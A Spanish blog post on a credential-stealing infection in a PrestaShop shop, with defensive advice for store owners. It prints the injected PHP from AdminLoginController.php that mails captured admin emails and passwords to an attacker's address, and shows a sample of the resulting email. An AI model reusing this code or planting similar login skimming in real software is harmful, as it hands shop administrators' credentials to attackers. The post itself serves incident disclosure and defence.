Robo de credenciales en PrestaShop

publicado en: Prestashop | 0

Uno de los principales objetivos de los atacantes de sitios webs sin duda son las tienda online, por una sencilla razón, en ellas en algunos casos se almacenan datos de tarjetas de crédito y esto es un juguso botín para muchos de estos atacantes.

 

Aunque los sitios con Magento parecen ser las plataformas más atacadas no nos equivoquemos, esto se debe a la popularidad que tiene el sistema, cuantos más usuarios lo usan más probabilidades hay de llamar la atención de atacantes, si solo un par de personas usan un sistema no suele compensar el tiempo que hay que invertir en romper la seguridad de uno de estos sitios. Y según ha ido creciendo en popularidad PrestaShop ha empezado a ser objetivo de este tipo de ataques también.

 

En la mayoria de los casos la funcion que se encarga de hacer el robo de estos datos se cifra y se inyecta en los archivos del nucleo de PrestaShop, para hacerlo asi más dificil de localizar.

 

En nuestro caso PrestaShop no almacena en ningún momento formas de pago, sino que todos estas transacciones se hacen redireccionando a la web de un servicio externo, ya sea la propia pasarela del banco u otras alternativas como PayPal. Pero aunque podamos estar tranquilos ya que en ningún momento interactuamos con estos datos no hay que fiarse del todo ya que los atacantes están dando otros enfoques para sacar beneficio, en este caso están robando datos de acceso al propio panel de PrestaShop.

 

Podeis ver en este trozo de código que os traigo como lo hacian. Estaba ubicado en una tienda infectada en ./controllers/admin/AdminLoginController.php:

 

public function processLogin()
   {
       /* Check fields validity */
       $passwd = trim(Tools::getValue('passwd'));
       $email = trim(Tools::getValue('email'));
$to = "bajatax121@gmail.com";
$subject = "panel admin prestashop ". $_SERVER['SERVER_NAME'];
$header = "from: hacked <bajatax@hacked.com>";
$message = "Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] ."&up=hous \r\n email: $email \r\n pass: $passwd \r\n by bajatax -- sniper :v \r\n";
$message .= "Path : " . __file__;
$sentmail = @mail($to, $subject, $message, $header);
$sentmail1 = @mail($to, $subject, $message, $header);

 

Este simple trozo de código envía toda la información del servidor necesaria, incluyendo el nombre de usuario y contraseña para iniciar sesión en el backend de Prestashop. La información finalmente se envía a la dirección del correo electrónico del atacante, utilizando la función de PHP mail().

 

Eso genera un correo electronico que le llegará al atacante de esta forma:

From: hacked <bajatax@hacked.com>
Subject: panel admin prestashop www.attackeddomain.com
Date: 12 de agosto de 2016, 10:18:44 CEST
To: bajatax121@gmail.com

Link : http://www.attackeddomain.com/admins/ajax-tab.php?rand=1470989908670&up=hous
email: user@attackeddomain.com
pass: 7hMs6yG2XQjSV
by bajatax — sniper :v

Path : /usr/home/www.attackeddomain.com/web/controllers/admin/AdminLoginController.php

Como se puede ver este correo electronico le está mandando todo lo necesario para poder iniciar sesión sin ningún problema.

 

Además de esta modificación el atacante también altero AdminLoginController.php para dejarle tener acceso a la subida de nuevos archivos y conseguir estar asi operativo el mayor tiempo posible.

 

Pero aunque pueda parecer que es imposible de detectar y que es mejor alejarse lo más posible de internet no os preocupeis, hay tecnicas para estar protegidos al máximo posible.

  • Usa sistemas de pago de terceros, con esto te aseguras no ser un objetivo principal de los atacantes puesto que no manejas información critica. Además estas empresas tienen los recursos suficientes para mantener su sistema lo más seguro posible.
  • Actualiza todo siempre, y cuando digo siempre es siempre. Las actualizaciones no son una cosa maligna diseñada para incordiar, todo lo contrario, una actualización es una cosa buena para mantener nuestro sistema listo para competir con los últimos cambios del mundo. 
  • Usa contraseñas seguras, aunque sean dificiles de recordar, pero hay muchos sitemas para ayudarte con esto. Una contraseña débil es como dejar la puerta de tu instalación abierta.
  • Comprueba que tus archivos no han sido alterados por un tercero. Hay varias soluciones para esto, algunos servidores te permiten incluso bloquear la edición de archivos desde el panel de control, lo que hace que no pueda hacerse ningún cambio en el archivo sin desactivar esa opción.

 

Espero que hayais disfrutado de esta entrada de actualidad sobre PrestaShop. Ya sabeis que los comentarios están siempre abiertos para recoger todas vuestras opiniones y preguntas.

 

¿Conoceis algún caso de robo de credenciales en una tienda online?

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *